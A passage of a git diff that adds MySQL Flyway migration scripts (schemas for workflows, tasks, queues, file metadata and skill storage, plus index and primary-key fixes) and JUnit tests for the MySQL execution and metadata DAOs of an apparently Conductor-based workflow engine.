q.addParameter(handle).executeUpdate()); + } +} diff --git a/mysql-persistence/src/main/resources/db/migration/V10__agentspan_skills.sql b/mysql-persistence/src/main/resources/db/migration/V10__agentspan_skills.sql new file mode 100644 index 0000000..b1cb501 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V10__agentspan_skills.sql @@ -0,0 +1,22 @@ +-- AgentSpan skill storage (conductor.integrations.ai.enabled). Metadata + package bytes. +CREATE TABLE IF NOT EXISTS skill_metadata ( + owner_id VARCHAR(255) NOT NULL, + name VARCHAR(255) NOT NULL, + version VARCHAR(255) NOT NULL, + is_latest BOOLEAN NOT NULL DEFAULT FALSE, + detail_json LONGTEXT NOT NULL, + created_at BIGINT, + updated_at BIGINT, + PRIMARY KEY (owner_id, name, version) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + +CREATE INDEX idx_skill_metadata_owner_name ON skill_metadata (owner_id, name); + +-- Package bytes are stored Base64-encoded so the value binds uniformly across backends. +CREATE TABLE IF NOT EXISTS skill_package ( + handle VARCHAR(255) NOT NULL, + data LONGTEXT NOT NULL, + size_bytes BIGINT, + created_at BIGINT, + PRIMARY KEY (handle) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; diff --git a/mysql-persistence/src/main/resources/db/migration/V1__initial_schema.sql b/mysql-persistence/src/main/resources/db/migration/V1__initial_schema.sql new file mode 100644 index 0000000..246b55e --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V1__initial_schema.sql @@ -0,0 +1,172 @@ + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR METADATA DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE meta_event_handler ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + event varchar(255) NOT NULL, + active boolean NOT NULL, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + KEY event_handler_name_index (name), + KEY event_handler_event_index (event) +); + +CREATE TABLE meta_task_def ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_task_def_name (name) +); + +CREATE TABLE meta_workflow_def ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + name varchar(255) NOT NULL, + version int(11) NOT NULL, + latest_version int(11) NOT NULL DEFAULT 0, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_name_version (name,version), + KEY workflow_def_name_index (name) +); + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR EXECUTION DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE event_execution ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + event_handler_name varchar(255) NOT NULL, + event_name varchar(255) NOT NULL, + message_id varchar(255) NOT NULL, + execution_id varchar(255) NOT NULL, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_event_execution (event_handler_name,event_name,message_id) +); + +CREATE TABLE poll_data ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + domain varchar(255) NOT NULL, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_poll_data (queue_name,domain), + KEY (queue_name) +); + +CREATE TABLE task_scheduled ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + task_key varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_workflow_id_task_key (workflow_id,task_key) +); + +CREATE TABLE task_in_progress ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + task_def_name varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + workflow_id varchar(255) NOT NULL, + in_progress_status boolean NOT NULL DEFAULT false, + PRIMARY KEY (id), + UNIQUE KEY unique_task_def_task_id1 (task_def_name,task_id) +); + +CREATE TABLE task ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + task_id varchar(255) NOT NULL, + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_task_id (task_id) +); + +CREATE TABLE workflow ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + correlation_id varchar(255), + json_data mediumtext NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_workflow_id (workflow_id) +); + +CREATE TABLE workflow_def_to_workflow ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_def varchar(255) NOT NULL, + date_str integer NOT NULL, + workflow_id varchar(255) NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_workflow_def_date_str (workflow_def,date_str,workflow_id) +); + +CREATE TABLE workflow_pending ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_type varchar(255) NOT NULL, + workflow_id varchar(255) NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_workflow_type_workflow_id (workflow_type,workflow_id), + KEY workflow_type_index (workflow_type) +); + +CREATE TABLE workflow_to_task ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + modified_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + workflow_id varchar(255) NOT NULL, + task_id varchar(255) NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_workflow_to_task_id (workflow_id,task_id), + KEY workflow_id_index (workflow_id) +); + +-- -------------------------------------------------------------------------------------------------------------- +-- SCHEMA FOR QUEUE DAO +-- -------------------------------------------------------------------------------------------------------------- + +CREATE TABLE queue ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + PRIMARY KEY (id), + UNIQUE KEY unique_queue_name (queue_name) +); + +CREATE TABLE queue_message ( + id int(11) unsigned NOT NULL AUTO_INCREMENT, + created_on TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + deliver_on TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + queue_name varchar(255) NOT NULL, + message_id varchar(255) NOT NULL, + popped boolean DEFAULT false, + offset_time_seconds long, + payload mediumtext, + PRIMARY KEY (id), + UNIQUE KEY unique_queue_name_message_id (queue_name,message_id), + KEY combo_queue_message (queue_name,popped,deliver_on,created_on) +); diff --git a/mysql-persistence/src/main/resources/db/migration/V2__queue_message_timestamps.sql b/mysql-persistence/src/main/resources/db/migration/V2__queue_message_timestamps.sql new file mode 100644 index 0000000..ecf7956 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V2__queue_message_timestamps.sql @@ -0,0 +1,2 @@ +ALTER TABLE `queue_message` CHANGE `created_on` `created_on` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP; +ALTER TABLE `queue_message` CHANGE `deliver_on` `deliver_on` TIMESTAMP DEFAULT CURRENT_TIMESTAMP; diff --git a/mysql-persistence/src/main/resources/db/migration/V3__queue_add_priority.sql b/mysql-persistence/src/main/resources/db/migration/V3__queue_add_priority.sql new file mode 100644 index 0000000..2764df8 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V3__queue_add_priority.sql @@ -0,0 +1,17 @@ +SET @dbname = DATABASE(); +SET @tablename = "queue_message"; +SET @columnname = "priority"; +SET @preparedStatement = (SELECT IF( + ( + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE + (table_name = @tablename) + AND (table_schema = @dbname) + AND (column_name = @columnname) + ) > 0, + "SELECT 1", + CONCAT("ALTER TABLE ", @tablename, " ADD ", @columnname, " TINYINT DEFAULT 0 AFTER `message_id`") +)); +PREPARE addColumnIfNotExist FROM @preparedStatement; +EXECUTE addColumnIfNotExist; +DEALLOCATE PREPARE addColumnIfNotExist; \ No newline at end of file diff --git a/mysql-persistence/src/main/resources/db/migration/V4__1009_Fix_MySQLExecutionDAO_Index.sql b/mysql-persistence/src/main/resources/db/migration/V4__1009_Fix_MySQLExecutionDAO_Index.sql new file mode 100644 index 0000000..8787961 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V4__1009_Fix_MySQLExecutionDAO_Index.sql @@ -0,0 +1,14 @@ +# Drop the 'unique_event_execution' index if it exists +SET @exist := (SELECT COUNT(INDEX_NAME) + FROM information_schema.STATISTICS + WHERE `TABLE_NAME` = 'event_execution' + AND `INDEX_NAME` = 'unique_event_execution' + AND TABLE_SCHEMA = database()); +SET @sqlstmt := IF(@exist > 0, 'ALTER TABLE `event_execution` DROP INDEX `unique_event_execution`', + 'SELECT ''INFO: Index already exists.'''); +PREPARE stmt FROM @sqlstmt; +EXECUTE stmt; + +# Create the 'unique_event_execution' index with execution_id column instead of 'message_id' so events can be executed multiple times. +ALTER TABLE `event_execution` + ADD CONSTRAINT `unique_event_execution` UNIQUE (event_handler_name, event_name, execution_id); diff --git a/mysql-persistence/src/main/resources/db/migration/V5__correlation_id_index.sql b/mysql-persistence/src/main/resources/db/migration/V5__correlation_id_index.sql new file mode 100644 index 0000000..2f13789 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V5__correlation_id_index.sql @@ -0,0 +1,13 @@ +# Drop the 'workflow_corr_id_index' index if it exists +SET @exist := (SELECT COUNT(INDEX_NAME) + FROM information_schema.STATISTICS + WHERE `TABLE_NAME` = 'workflow' + AND `INDEX_NAME` = 'workflow_corr_id_index' + AND TABLE_SCHEMA = database()); +SET @sqlstmt := IF(@exist > 0, 'ALTER TABLE `workflow` DROP INDEX `workflow_corr_id_index`', + 'SELECT ''INFO: Index already exists.'''); +PREPARE stmt FROM @sqlstmt; +EXECUTE stmt; + +# Create the 'workflow_corr_id_index' index with correlation_id column because correlation_id queries are slow in large databases. +CREATE INDEX workflow_corr_id_index ON workflow (correlation_id); diff --git a/mysql-persistence/src/main/resources/db/migration/V6__new_qm_index_with_priority.sql b/mysql-persistence/src/main/resources/db/migration/V6__new_qm_index_with_priority.sql new file mode 100644 index 0000000..de591f9 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V6__new_qm_index_with_priority.sql @@ -0,0 +1,13 @@ +# Drop the 'combo_queue_message' index if it exists +SET @exist := (SELECT COUNT(INDEX_NAME) + FROM information_schema.STATISTICS + WHERE `TABLE_NAME` = 'queue_message' + AND `INDEX_NAME` = 'combo_queue_message' + AND TABLE_SCHEMA = database()); +SET @sqlstmt := IF(@exist > 0, 'ALTER TABLE `queue_message` DROP INDEX `combo_queue_message`', + 'SELECT ''INFO: Index already exists.'''); +PREPARE stmt FROM @sqlstmt; +EXECUTE stmt; + +# Re-create the 'combo_queue_message' index to add priority column because queries that order by priority are slow in large databases. +CREATE INDEX combo_queue_message ON queue_message (queue_name,priority,popped,deliver_on,created_on); diff --git a/mysql-persistence/src/main/resources/db/migration/V7__new_queue_message_pk.sql b/mysql-persistence/src/main/resources/db/migration/V7__new_queue_message_pk.sql new file mode 100644 index 0000000..afad020 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V7__new_queue_message_pk.sql @@ -0,0 +1,24 @@ +# no longer need separate index if pk is queue_name, message_id +SET @idx_exists := (SELECT COUNT(INDEX_NAME) + FROM information_schema.STATISTICS + WHERE `TABLE_NAME` = 'queue_message' + AND `INDEX_NAME` = 'unique_queue_name_message_id' + AND TABLE_SCHEMA = database()); +SET @idxstmt := IF(@idx_exists > 0, 'ALTER TABLE `queue_message` DROP INDEX `unique_queue_name_message_id`', + 'SELECT ''INFO: Index unique_queue_name_message_id does not exist.'''); +PREPARE stmt1 FROM @idxstmt; +EXECUTE stmt1; + +# remove id column +set @col_exists := (SELECT COUNT(*) + FROM information_schema.COLUMNS + WHERE `TABLE_NAME` = 'queue_message' + AND `COLUMN_NAME` = 'id' + AND TABLE_SCHEMA = database()); +SET @colstmt := IF(@col_exists > 0, 'ALTER TABLE `queue_message` DROP COLUMN `id`', + 'SELECT ''INFO: Column id does not exist.''') ; +PREPARE stmt2 from @colstmt; +EXECUTE stmt2; + +# set primary key to queue_name, message_id +ALTER TABLE queue_message ADD PRIMARY KEY (queue_name, message_id); diff --git a/mysql-persistence/src/main/resources/db/migration/V8__update_pk.sql b/mysql-persistence/src/main/resources/db/migration/V8__update_pk.sql new file mode 100644 index 0000000..f1ed4f7 --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V8__update_pk.sql @@ -0,0 +1,103 @@ +DELIMITER $$ +DROP PROCEDURE IF EXISTS `DropIndexIfExists`$$ +CREATE PROCEDURE `DropIndexIfExists`(IN tableName VARCHAR(128), IN indexName VARCHAR(128)) +BEGIN + + DECLARE index_exists INT DEFAULT 0; + + SELECT COUNT(1) INTO index_exists + FROM INFORMATION_SCHEMA.STATISTICS + WHERE TABLE_NAME = tableName + AND INDEX_NAME = indexName + AND TABLE_SCHEMA = database(); + + IF index_exists > 0 THEN + + SELECT CONCAT('INFO: Dropping Index ', indexName, ' on table ', tableName); + SET @stmt = CONCAT('ALTER TABLE ', tableName, ' DROP INDEX ', indexName); + PREPARE st FROM @stmt; + EXECUTE st; + DEALLOCATE PREPARE st; + + ELSE + SELECT CONCAT('INFO: Index ', indexName, ' does not exists on table ', tableName); + END IF; + +END$$ + +DROP PROCEDURE IF EXISTS `FixPkIfNeeded`$$ +CREATE PROCEDURE `FixPkIfNeeded`(IN tableName VARCHAR(128), IN columns VARCHAR(128)) +BEGIN + + DECLARE col_exists INT DEFAULT 0; + + SELECT COUNT(1) INTO col_exists + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_NAME = tableName + AND COLUMN_NAME = 'id' + AND TABLE_SCHEMA = database(); + + IF col_exists > 0 THEN + + SELECT CONCAT('INFO: Updating PK on table ', tableName); + + SET @stmt = CONCAT('ALTER TABLE ', tableName, ' MODIFY id INT'); + PREPARE st FROM @stmt; + EXECUTE st; + DEALLOCATE PREPARE st; + + SET @stmt = CONCAT('ALTER TABLE ', tableName, ' DROP PRIMARY KEY, ADD PRIMARY KEY (', columns, ')'); + PREPARE st FROM @stmt; + EXECUTE st; + DEALLOCATE PREPARE st; + + SET @stmt = CONCAT('ALTER TABLE ', tableName, ' DROP COLUMN id'); + PREPARE st FROM @stmt; + EXECUTE st; + DEALLOCATE PREPARE st; + + ELSE + SELECT CONCAT('INFO: Column id does not exists on table ', tableName); + END IF; + +END$$ +DELIMITER ; + +CALL DropIndexIfExists('queue_message', 'unique_queue_name_message_id'); +CALL FixPkIfNeeded('queue_message','queue_name, message_id'); + +CALL DropIndexIfExists('queue', 'unique_queue_name'); +CALL FixPkIfNeeded('queue','queue_name'); + +CALL DropIndexIfExists('workflow_to_task', 'unique_workflow_to_task_id'); +CALL FixPkIfNeeded('workflow_to_task', 'workflow_id, task_id'); + +CALL DropIndexIfExists('workflow_pending', 'unique_workflow_type_workflow_id'); +CALL FixPkIfNeeded('workflow_pending', 'workflow_type, workflow_id'); + +CALL DropIndexIfExists('workflow_def_to_workflow', 'unique_workflow_def_date_str'); +CALL FixPkIfNeeded('workflow_def_to_workflow', 'workflow_def, date_str, workflow_id'); + +CALL DropIndexIfExists('workflow', 'unique_workflow_id'); +CALL FixPkIfNeeded('workflow', 'workflow_id'); + +CALL DropIndexIfExists('task', 'unique_task_id'); +CALL FixPkIfNeeded('task', 'task_id'); + +CALL DropIndexIfExists('task_in_progress', 'unique_task_def_task_id1'); +CALL FixPkIfNeeded('task_in_progress', 'task_def_name, task_id'); + +CALL DropIndexIfExists('task_scheduled', 'unique_workflow_id_task_key'); +CALL FixPkIfNeeded('task_scheduled', 'workflow_id, task_key'); + +CALL DropIndexIfExists('poll_data', 'unique_poll_data'); +CALL FixPkIfNeeded('poll_data','queue_name, domain'); + +CALL DropIndexIfExists('event_execution', 'unique_event_execution'); +CALL FixPkIfNeeded('event_execution', 'event_handler_name, event_name, execution_id'); + +CALL DropIndexIfExists('meta_workflow_def', 'unique_name_version'); +CALL FixPkIfNeeded('meta_workflow_def', 'name, version'); + +CALL DropIndexIfExists('meta_task_def', 'unique_task_def_name'); +CALL FixPkIfNeeded('meta_task_def','name'); \ No newline at end of file diff --git a/mysql-persistence/src/main/resources/db/migration/V9__file_metadata.sql b/mysql-persistence/src/main/resources/db/migration/V9__file_metadata.sql new file mode 100644 index 0000000..77b716b --- /dev/null +++ b/mysql-persistence/src/main/resources/db/migration/V9__file_metadata.sql @@ -0,0 +1,19 @@ +CREATE TABLE IF NOT EXISTS file_metadata ( + file_id VARCHAR(255) NOT NULL, + file_name VARCHAR(1024) NOT NULL, + content_type VARCHAR(255) NOT NULL, + storage_content_hash VARCHAR(255), + storage_content_size BIGINT, + storage_type VARCHAR(50) NOT NULL, + storage_path VARCHAR(2048) NOT NULL, + upload_status VARCHAR(50) NOT NULL DEFAULT 'UPLOADING', + workflow_id VARCHAR(255) NOT NULL, + task_id VARCHAR(255), + created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, + updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + PRIMARY KEY (file_id) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + +CREATE INDEX idx_file_metadata_workflow_id ON file_metadata (workflow_id); +CREATE INDEX idx_file_metadata_task_id ON file_metadata (task_id); +CREATE INDEX idx_file_metadata_upload_status ON file_metadata (upload_status); diff --git a/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAOTest.java b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAOTest.java new file mode 100644 index 0000000..05790c8 --- /dev/null +++ b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAOTest.java @@ -0,0 +1,81 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.util.List; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.ExecutionDAOTest; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.mysql.config.MySQLConfiguration; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + MySQLConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class MySQLExecutionDAOTest extends ExecutionDAOTest { + + @Autowired private MySQLExecutionDAO executionDAO; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.clean(); + flyway.migrate(); + } + + @Test + public void testPendingByCorrelationId() { + + WorkflowDef def = new WorkflowDef(); + def.setName("pending_count_correlation_jtest"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + generateWorkflows(workflow, 10); + + List bycorrelationId = + getExecutionDAO() + .getWorkflowsByCorrelationId( + "pending_count_correlation_jtest", "corr001", true); + assertNotNull(bycorrelationId); + assertEquals(10, bycorrelationId.size()); + } + + @Override + public ExecutionDAO getExecutionDAO() { + return executionDAO; + } +} diff --git a/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAOTest.java b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAOTest.java new file mode 100644 index 0000000..d683f8b --- /dev/null +++ b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAOTest.java @@ -0,0 +1,322 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.UUID; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.mysql.config.MySQLConfiguration; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertThrows; +import static org.junit.Assert.assertTrue; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + MySQLConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class MySQLMetadataDAOTest { + + @Autowired private MySQLMetadataDAO metadataDAO; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.clean(); + flyway.migrate(); + } + + @Test + public void testDuplicateWorkflowDef() { + + WorkflowDef def = new WorkflowDef(); + def.setName("testDuplicate"); + def.setVersion(1); + + metadataDAO.createWorkflowDef(def); + + NonTransientException applicationException = + assertThrows(NonTransientException.class, () -> metadataDAO.createWorkflowDef(def)); + assertEquals( + "Workflow with testDuplicate.1 already exists!", applicationException.getMessage()); + } + + @Test + public void testRemoveNotExistingWorkflowDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeWorkflowDef("test", 1)); + assertEquals( + "No such workflow definition: test version: 1", applicationException.getMessage()); + } + + @Test + public void testWorkflowDefOperations() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + metadataDAO.createWorkflowDef(def); + + List all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + WorkflowDef found = metadataDAO.getWorkflowDef("test", 1).get(); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(def.getVersion(), found.getVersion()); + assertEquals(3, found.getVersion()); + + all = metadataDAO.getAllLatest(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(3, all.get(0).getVersion()); + + all = metadataDAO.getAllVersions(def.getName()); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals("test", all.get(1).getName()); + assertEquals(1, all.get(0).getVersion()); + assertEquals(3, all.get(1).getVersion()); + + def.setDescription("updated"); + metadataDAO.updateWorkflowDef(def); + found = metadataDAO.getWorkflowDef(def.getName(), def.getVersion()).get(); + assertEquals(def.getDescription(), found.getDescription()); + + List allnames = metadataDAO.findAll(); + assertNotNull(allnames); + assertEquals(1, allnames.size()); + assertEquals(def.getName(), allnames.get(0)); + + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(3, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 3); + Optional deleted = metadataDAO.getWorkflowDef("test", 3); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 1); + deleted = metadataDAO.getWorkflowDef("test", 1); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + } + + @Test + public void testTaskDefOperations() { + TaskDef def = new TaskDef("taskA"); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setInputKeys(Arrays.asList("a", "b", "c")); + def.setOutputKeys(Arrays.asList("01", "o2")); + def.setOwnerApp("ownerApp"); + def.setRetryCount(3); + def.setRetryDelaySeconds(100); + def.setRetryLogic(TaskDef.RetryLogic.FIXED); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.ALERT_ONLY); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + metadataDAO.createTaskDef(def); + + TaskDef found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setDescription("updated description"); + metadataDAO.updateTaskDef(def); + found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + assertEquals("updated description", found.getDescription()); + + for (int i = 0; i < 9; i++) { + TaskDef tdf = new TaskDef("taskA" + i); + metadataDAO.createTaskDef(tdf); + } + + List all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(10, all.size()); + Set allnames = all.stream().map(TaskDef::getName).collect(Collectors.toSet()); + assertEquals(10, allnames.size()); + List sorted = allnames.stream().sorted().collect(Collectors.toList()); + assertEquals(def.getName(), sorted.get(0)); + + for (int i = 0; i < 9; i++) { + assertEquals(def.getName() + i, sorted.get(i + 1)); + } + + for (int i = 0; i < 9; i++) { + metadataDAO.removeTaskDef(def.getName() + i); + } + all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(def.getName(), all.get(0).getName()); + } + + @Test + public void testRemoveNotExistingTaskDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeTaskDef("test" + UUID.randomUUID().toString())); + assertEquals("No such task definition", applicationException.getMessage()); + } + + @Test + public void testEventHandlers() { + String event1 = "SQS::arn:account090:sqstest1"; + String event2 = "SQS::arn:account090:sqstest2"; + + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(false); + EventHandler.Action action = new EventHandler.Action(); + action.setAction(EventHandler.Action.Type.start_workflow); + action.setStart_workflow(new EventHandler.StartWorkflow()); + action.getStart_workflow().setName("workflow_x"); + eventHandler.getActions().add(action); + eventHandler.setEvent(event1); + + metadataDAO.addEventHandler(eventHandler); + List all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(eventHandler.getName(), all.get(0).getName()); + assertEquals(eventHandler.getEvent(), all.get(0).getEvent()); + + List byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); // event is marked as in-active + + eventHandler.setActive(true); + eventHandler.setEvent(event2); + 